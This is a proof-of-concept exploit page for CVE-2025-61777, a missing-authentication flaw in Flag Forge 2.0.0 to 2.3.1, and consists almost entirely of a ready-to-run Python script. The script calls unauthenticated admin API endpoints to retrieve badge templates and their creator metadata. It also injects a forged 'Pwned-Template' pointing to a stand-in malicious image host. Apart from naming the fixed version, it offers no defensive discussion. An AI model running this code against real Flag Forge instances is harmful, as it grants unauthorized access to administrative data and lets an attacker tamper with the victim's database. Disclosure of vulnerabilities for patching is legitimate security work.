CVE-2025-61777 Flag Forge 认证缺失导致未授权访问漏洞

# CVE-2025-61777 - Flag Forge Unauthenticated Badge Template Access PoC # Affected versions: Flag Forge 2.0.0 - 2.3.1 # Fixed in: Flag Forge 2.3.2 import requests import json TARGET_URL = "https://target-flagforge-instance.com" # Step 1: Exploit GET endpoint to retrieve all badge templates (no auth required) def exploit_get_badge_templates(): """ Exploits the missing authentication on GET /api/admin/badge-templates to retrieve all badge templates and sensitive metadata. """ endpoint = f"{TARGET_URL}/api/admin/badge-templates" print(f"[*] Sending unauthenticated GET request to {endpoint}") response = requests.get(endpoint) if response.status_code == 200: print(f"[+] Success! Retrieved badge templates (Status: {response.status_code})") templates = response.json() print(f"[+] Found {len(templates)} badge templates") # Extract and display sensitive metadata for template in templates: print(f"\n--- Badge Template ---") print(f" Name: {template.get('name', 'N/A')}") print(f" Created By: {template.get('createdBy', 'N/A')}") # Sensitive print(f" Created At: {template.get('createdAt', 'N/A')}") # Sensitive print(f" Updated At: {template.get('updatedAt', 'N/A')}") # Sensitive return templates else: print(f"[-] Failed. Status code: {response.status_code}") return None # Step 2: Exploit POST endpoint to create arbitrary badge templates def exploit_create_badge_template(): """ Exploits the missing authentication on POST /api/admin/badge-templates/create to inject arbitrary badge templates into the database. """ endpoint = f"{TARGET_URL}/api/admin/badge-templates/create" print(f"\n[*] Sending unauthenticated POST request to {endpoint}") # Malicious badge template payload payload = { "name": "Pwned-Template", "description": "Injected by CVE-2025-61777 exploit", "imageUrl": "https://malicious-site.com/payload.png", "criteria": {"type": "manual"} } headers = {"Content-Type": "application/json"} response = requests.post(endpoint, json=payload, headers=headers) if response.status_code in [200, 201]: print(f"[+] Success! Badge template created (Status: {response.status_code})") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed. Status code: {response.status_code}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-61777 - Flag Forge Unauth Badge Template Access") print("=" * 60) # Execute exploit chain templates = exploit_get_badge_templates() exploit_create_badge_template() print("\n[*] Exploit complete.")